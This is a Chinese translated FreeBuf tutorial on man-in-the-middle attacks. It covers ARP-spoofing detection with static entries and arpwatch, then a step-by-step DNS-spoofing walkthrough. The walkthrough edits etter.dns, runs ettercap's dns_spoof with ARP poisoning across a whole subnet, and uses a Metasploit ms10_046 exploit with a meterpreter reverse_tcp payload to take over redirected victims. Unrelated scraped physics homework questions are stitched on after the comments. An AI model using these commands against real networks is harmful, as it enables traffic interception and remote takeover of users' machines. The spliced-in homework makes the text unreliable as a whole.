中间人攻击-DNS欺骗 - FreeBuf.COM | 关注黑客与极客
中间人攻击-DNS欺骗
共814964人围观
，发现 12 个不明物体
本文由Freebuf会员Heee翻译自国外网站，转载请注明出处。
===================================
在前面的文章（）中，我们讨论了黑客危险的攻击和实用的ARP中毒原理。在本文中，我将首先探讨检测和防止ARP中毒（或ARP欺骗）攻击，然后我将回顾其他的中间人攻击-DNS欺骗。
ARP缓存攻击是一项非常危险的攻击，重要的是在用户中创建安全的意识和分析有效的工具和策略。如果你操作的是小型网络，那么就很容易维护ARP。但是在大型的网络，维护ARP是很困难和费事的。在前一篇文章的最后我们讨论了工具和技术，能够被用来检测ARP缓存中毒攻击。让我们来回顾下每一步: &
你可以在网络ARP表中手动的添加一些信息，一旦信息插入，你就有了静态ARP映射。输入数据的过程也是非常简单，在你的终端/CMS中，只需输入：“arp -s”
你现在的ARP表：
root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0
让我们假设一下，我想添加一个新的主机在我的ARP缓存表中，我输入如下命令：
arp -s IP MAC
root@bt:~# arp -s 192.168.1.2 00:50:FC:A8:36:F5
root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.2 ether 00:50:fc:a8:36:f5 CM eth0
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0
root@bt:~#
需要注意的是，手动添加ARP表只适用于当前的会话。当你重新启动计算机，将更新表。如果你想要使用这种方法，那么你可以创建一个批处理文件/BASH文件，并将它们添加到启动项。
(ps：监听ARP记录)
这是一个不错的实用程序，已经被用来监测ARP网络，它能够探测并记录发生更改的网络，同时还发送邮箱详细说明各自的变化。安装过程也是非常简单的。
对于Ubuntu用户：
# apt-get install arpwatch
root@bt:~# arpwatch -h
Version 2.1a15
usage: arpwatch [-dN] [-f datafile] [-i interface] [-n net[/width]] [-r file] [-s sendmail_path] [-p] [-a] [-m addr] [-u username] [-R seconds ] [-Q] [-z ignorenet/ignoremask]
如果需要快速检测就用下面这个命令：
# arpwatch -i interface
root@bt:~# arpwatch -i eth0
检查程序是否在运行：
root@bt:~# ps -ef | grep arpwatch
14:05 ? 00:00:00 /usr/sbin/arpwatch -u arpwatch -N -p
14:54 pts/0 00:00:00 grep –color=auto arpwatch
接下来的步骤就是ARPwatch记录日志，这也非常简单，你只需要做得是确定目录，然后读取文件。
oot@bt:~# cd /var/lib/arpwatch
root@bt:/var/lib/arpwatch# ls
arp.dat arp.dat-
root@bt:/var/lib/arpwatch# cat arp.dat
00:50:fc:a8:36:f5
192.168.1.2
00:27:0e:21:a6:1e
192.168.1.5
所以如果你是网络管理员，那么你应该实施一些策略来监视ARP表并且保护主机免受ARP中毒攻击。
当然我们要注意，中间人攻击并不局限于一个ARP欺骗攻击。正如前面提到的，还有许多其他的技术能够执行一个中间人攻击。一个主要的例子就是DNS欺骗，我们将分析它。
DNS欺骗攻击
DNS欺骗攻击是一种非常危险的中间人攻击，它容易被攻击者利用并且窃取用户的机密信息。虽然这篇文章可以提供一些新的见解，但重要的是DNS欺骗是一个一般概念，有无数种方法可以实现一个DNS欺骗攻击。
在一个DNS欺骗攻击中，攻击者可以利用一个漏洞来伪造网络流量。因此，要理解DNS欺骗攻击，必须理解DNS是怎样工作的。
DNS(域名系统)在互联网中是一个非常重要的协议。它属于TCP/IP，是一个分层结构的分布式模块，它包含域名的相关信息。它负责在网络上映射域名到他们各自的IP上。DNS定位主机/服务器通过查看友好域名，使用域名系统，DNS将域名和IP地址相互映射 。这些设备（路由器、服务器等）连接到你的电脑不能理解一些友好的名称 （infosecinstitute.com),他们只了解一个IP地址，而DNS负责翻译它。
让我们来看看下面这个图来理解主机和本地DNS服务器的正常通信。
DNS服务器包含着一个主数据库，其中包括信息的IP地址，因为这涉及到相应的域名。所以在这些正常的通信中，一个主机发送请求到服务器，之后服务器响应正确的信息。如果DNS没有信息传入的请求，它将发送请求到外部DNS服务器来获取正确的响应。
那么攻击者如何使用中间人攻击来实施DNS欺骗呢？下图说明了答案：
使用DNS欺骗中间人攻击，攻击者将截取会话，然后转移到一个假网站的会话。假如：用户希望访问google.com，并且谷歌的IP地址为173.194.35.37，攻击者就可以使用DNS欺骗技术拦截会话，并将用户重定向到假冒的网站，假网站IP可以为任意IP。
演示DNS欺骗攻击
在本系列的以前文章中我发现ettercap是一个很好用来演示ARP欺骗攻击的工具。当然ettercap包含一个DNS插件，非常容易使用哦。
打开ettercap GUI，点击”sniff”，之后再”unified sniffing”选择自己的网络。单机hosts，之后扫描整个子网存活的主机。在执行时，我们来编辑etter.dns文件，以确保它执行正确的DNS欺骗攻击：
microsoft sucks
# redirect it to www.linux.org
freebuf.com A 192.182.196.56
*.freebuf.com A 192.182.196.56
www.freebuf.com PTR 192.182.196.56 # Wildcards in PTR are not allowed
默认情况下，ettercap是重定向到另一个网站的IP地址，我们来改变它：
freebuf.com A 192.168.1.12
*.freebuf.com A 192.168.1.12
www.freebuf.com PTR 192.168.1.12 # Wildcards in PTR are not allowed
192.168.1.12是攻击者的IP地址。确保Web服务器运行在攻击者的机器，一定要启用IP转发。 在受害者的电脑查看：
C:\&ping www.freebuf.com
Pinging microsoft.com [65.55.58.201] with 32 bytes of data:
Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
&Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
Ping statistics for 65.55.58.20
Packets: Sent = 4, Received = 4, Lost = 0 &0% loss&,
在ettercap GUI上，选择受害者主机（目标1）和默认路由器（网关,目标2）。
点击Mitm—ARP poisoning，选择”Sniff remote connerctions.”之后点击 “start”-”start sniffing”
点击选择”plugins”–”manage the plugins” 在其中选择dns_spoof。这将会启用dns_spoof插件来执行DNS欺骗中间人攻击。现在在受害者电脑的DNS欺骗攻击是：
你可以看到，在DNS已经成功欺骗时，所有会话被转移到了攻击者的主机，而不是真正的微软服务器。
这个演示是基于GUI的ettercap，你也可以使用命令行版本。让我们考虑一个快速演示DNS欺骗的命令行接口。
选择etter。查看Dns使用简单的命令：
root@bt:~# locate etter.dns
/usr/local/share/videojak/etter.dns
/usr/share/ettercap/etter.dns
root@bt:~#
现在你可以使用你喜欢的文本编辑器来编辑这个文件。你可以使用文本编辑器nano或者其他任何你想要的
root@bt:~# gedit /usr/share/ettercap/etter.dns
root@bt:~# nano /usr/share/ettercap/etter.dns
当你完成了保存这个文件，现在做好了准备。我们需要做得就是通过ettercap启用DNS欺骗攻击:
root@bt:~# ettercap -T -q -P dns_spoof -M arp // //
ettercap NG-0.7.3 copyright
ALoR & NaGA
Listening on eth0... (Ethernet)
00:1C:23:42:8D:04 192.168.1.12 255.255.255.0
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================&| 100.00 %
4 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating dns_spoof plugin...
让我们来拆开命令结构，来分析DNS欺骗攻击所用到的命令：
-P &使用插件，这里我们使用的是dns_spoof
-T 使用基于文本界面
-q &启动安静模式（不回显的意思）
-M 启动ARP欺骗攻击
// // &代表欺骗整个子网网络
此外，我们可以综合使用这些命令。例如，你想要欺骗一个特定的受害主机，那么你可以使用受害者的IP来执行DNS欺骗攻击。
root@bt:~# ettercap -T -q -P dns_spoof -M arp // //
ettercap NG-0.7.3 copyright
ALoR & NaGA
Listening on eth0... (Ethernet)
00:1C:23:42:8D:04 192.168.1.12 255.255.255.0
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================&| 100.00 %
4 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating dns_spoof plugin...
在另一个例子中，你可以使用特定的接口来执行dns欺骗攻击。为此，可以使用如下命令：
root@bt:~# ettercap -T -q -i eth0 -P dns_spoof -M arp // //
DNS欺骗是一种非常危险的攻击，因为攻击者可以利用ettercap的dns_spoof插件和其他工具执行攻击。最终，攻击者可以使用一个社会工程工具包（作者这里指的应该是SET了）来执行攻击去控制受害者的电脑。想象一下这是多少容易，通过社会工程工具包和DNS欺骗技术你所需要做得就是配置你的社会工程工具包和你的IP清单，制作像谷歌一样的网站欺骗域名到你的IP地址上。当受害者打开google，你的攻击将使它访问你的IP，之后建立一个远程的会话。
让我们来考虑一个示例场景：下面是是metasploit 渗透工具使用ettercap进行dns欺骗。选择你想要的exploit，在payload中我们就选择 reverse_tcp：
root@bt:~# msfconsole
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
msf & use windows/browser/ms10_046_shortcut_icon_dllloader
msf exploit(ms10_046_shortcut_icon_dllloader) & set SRVHOST 192.168.1.12
SRVHOST =& 192.168.1.12
msf exploit(ms10_046_shortcut_icon_dllloader) & set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =& windows/meterpreter/reverse_tcp
msf exploit(ms10_046_shortcut_icon_dllloader) & set LHOST 192.168.1.12
LHOST =& 192.168.1.12
msf exploit(ms10_046_shortcut_icon_dllloader) & exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.12:4444
[*] Send vulnerable clients to \\192.168.1.12\bqokoWwx\.
[*] Or, get clients to save and render the icon of http://&your host&/&anything&.lnk
[*] Using URL: http://192.168.1.12:80/
[*] Server started.
如果一切正常，我们所需要做得就是根据我们的DNS配置etter文件。看下面这个图：我使用攻击者的IP地址来设置为目标网站。一旦受害者打开该网站，他将被重定向到192.168.1.12中，然后会话开始。
这些只是DNS欺骗中最危险的一个方面：受害者不知道发送了什么，因为一切似乎是合情合理的，但不幸的是数据并没有进行正确的传输。此外，这种攻击非常危险，因为攻击者可能会利用这个技术在公共的wi-fi点上，入侵其他电脑。希望这篇文章已经讨论了一个有用的策略来检测ARP欺骗攻击和DNS欺骗攻击。
===============
看了国外很多黑阔的文章发现他们写文章真的很有条理，国内真的应该好好学习下。
建议freebuf将原文URL，原文作者一并列出，这应该也算是人家的版权把
不错，老外写的东西就是实在，不装逼。。
老外 大牛 就是
MARK下，可以反复看好几次的。。
必须您当前尚未登录。
必须（保密）
这是一个神奇的马甲
关注我们 分享每日精选文章老虎在非洲生存的七大难关-尽可能理性-浪狮_百度文库
两大类热门资源免费畅读
续费一年阅读会员，立省24元！
老虎在非洲生存的七大难关-尽可能理性-浪狮
你可能喜欢在t=0时,老虎由静止开始攻击马,马则在老虎开始发动攻击1s后才开始由静止奔跑,
在t=0时,老虎由静止开始攻击马,马则在老虎开始发动攻击1s后才开始由静止奔跑,
版式： | 炫彩版 | 01-22 19:5715．打点计时器是中学的常用仪器.利用它可以开展多项实验探究.如图1所示.实验进行的主要步骤如下:a.按装置安装好器材并连好电路．b.接通电源.释放纸带.让重锤由静止开始自由下落．c.关闭电源.取出纸——精英家教网——
暑假天气热？在家里学北京名师课程，
下面为同学们推荐部分热门搜索同步练习册答案，要查找更多练习册答案请点击访问
&& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &
题型：解答题
15．打点计时器是中学的常用仪器，利用它可以开展多项实验探究，如图1所示，实验进行的主要步骤如下：a、按装置安装好器材并连好电路．b、接通电源，释放纸带，让重锤由静止开始自由下落．c、关闭电源，取出纸带，更换纸带重复步骤b，打出几条纸带．d、选择一条符合实验要求的纸带，数据如图2所示（相邻计数点的时间为T），进行数据处理：（1）若是探究重力做功和物体动能变化的关系．需求出重锤运动到各计数点的瞬时速度，试表示在D点时重锤运动的瞬时速度VD=$\frac{{{d}_{4}-d}_{2}}{2T}$．（2）若是测量重力加速度g．为减少实验的偶然误差，采用逐差法处理数据，则加速度大小可以表示为g=$\frac{{d}_{6}-{2d}_{3}}{{9T}^{2}}$．（3）若求出的加速度值比当地公认的重力加速度值g′小且差距较大，说明实验过程存在较大的阻力，若要测出阻力的大小，则还需测量的物理量是重锤的质量m．
题型：选择题
14．如图，当正电荷从A到C的移动过程中，正确的是（　　）A．从A经B到C电场力对电荷做功最少B．从A经N到C电场力对电荷做功最多C．不管从哪条路径使该电荷从A移动到C，电场力做功都相等，且都是负功D．若将负电荷从A移到C的过程中，电场力将做负功，其电势能将增加
题型：解答题
13．在t=0时，老虎由静止开始攻击马，马则在老虎开始发动攻击1s后才开给由静止奔跑，马达到最大速度后能维持一段较长的时间；而老虎达到最大速度后只能维持这个速度4s．设老虎和马均由东向西沿同一直线奔跑．其速度-时间图象分别如图中图线甲、乙所示．求：（1）4s末马的速度大小v1；（2）在4-5s内，老虎和马各自的加速度大小：（3）在8-11s内，老虎和马各自的加速度．
题型：解答题
12．如图所示，物体从光滑斜面上的A点由静止开始下滑，经过B点后进入水平面（设经过B点前后速度大小不变），最后停在C点．α=30°，AB=10m，物体与水平面间动摩擦因数μ=0.2（重力加速度g=10m/s2）求：B、C之间的距离．
题型：解答题
11．如图所示，倾角为θ的斜面固定于电梯中，当电梯加速度为a竖直向上加速运动时，质量为m的物体始终与斜面保持相对静止，则物体受到的支持力和摩擦力是多大？
题型：解答题
10．在该实验中，如图甲所示为一次记录小车运动情况的纸带．图中A、B、C、D、E为相邻的计数点，相邻的计数点间的时间间隔T=0.1s．（1）根据一段时间的平均速度等于这段时间中间时刻的瞬时速度计算各点瞬时速度，且，vB=1.38m/s，vc=2.64m/s，vD=3.90m/s．（2）在如图乙所示坐标中作出小车的v-t图线，并根据图线求出a=12.8m/s2．（3）将图线延长与纵轴相交，交点的速度是0.15m/s，此速度的物理意义是零时刻小车经过A点的速度．
题型：解答题
9．如图甲所示，质量为m的相同木块A和木板B叠放在水平面上，A光滑且位于B的最右端，B与地面间动摩擦因数为μ，水平力F=mg作用在B上，A、B以2m/s的共同速度沿水平面向右匀速运动，0.2s后F加倍，0.2S前二者速度v随时间t的变化关系如图所示，g=10m/s2．（1）试求μ的值；（2）若B足够长，请在乙图中作出0.2s～0.4sA、B运动的v-t图线，并标出0.4s时的纵坐标值；（3）若前0.4sA不会从B上滑落，木板B至少有多长．
题型：选择题
8．如图所示的远距离输电电路图中，升压变压器和降压变压器均为理想变压器，发电厂的输出电压及输电线的电阻R均不变．在用电高峰期，发电厂输出功率将增大，下列说法正确的是（　　）A．降压变压器副线圈中电流变小B．升压变压器副线圈中电流变大C．用户消耗的功率占发电厂输出总功率的比例增大D．输电线上损耗的功率减小
题型：选择题
7．科学家关于物体运动的研究对树立正确的自然观具有重要作用．下列说法符合历史事实的是（　　）A．牛顿通过“理想实验”得出结论：运动必具有一定速度，如果它不受力，它将以这一速度永远运动下去B．亚里士多德认为，必须有力作用在物体上，物体的运动状态才会改变C．笛卡儿指出：如果运动中的物体没有受到力的作用，它将继续以同一速度沿同一直线运动，既不停下来也不偏离原来的方向D．伽利略认为，物体具有保持原来匀速直线运动状态或静止状态的性质
题型：解答题
6．探究“恒力做功与物体动能改变的关系”，设计了如下实验，操作步骤是：①摆好实验装置如图所示：②将质量为200g的小车拉到打点计时器附近，并按住小车；③在质量为10g、30g、50g的三种钩码中，挑选50g的钩码挂在拉线的挂钩P上；④释放小车，打开电磁打点计时器的电源，打出一条纸带．Ⅰ．在多次重复实验得到的纸带中取出满意的一条．经测量、计算，得到如下数据：第一个点到第N个点的距离为40.0cm；打下第N点时小车的速度大小为1.00m/s．将钩码重力当作小车所受的拉力，计算拉力对小车做的功为0.20J，小车动能增量为0.10J．（结果均保留两位有效数字）Ⅱ．探究结果，没能得到“恒力对物体做的功，等于物体动能的增量”，且误差很大．造成较大误差的主要原因是：小车质量没有远大于钩码质量；没有平衡摩擦力．
精英家教网新版app上线啦！用app只需扫描书本条形码就能找到作业，家长给孩子检查作业更省心，同学们作业对答案更方便，扫描上方二维码立刻安装！
请输入姓名
请输入手机号}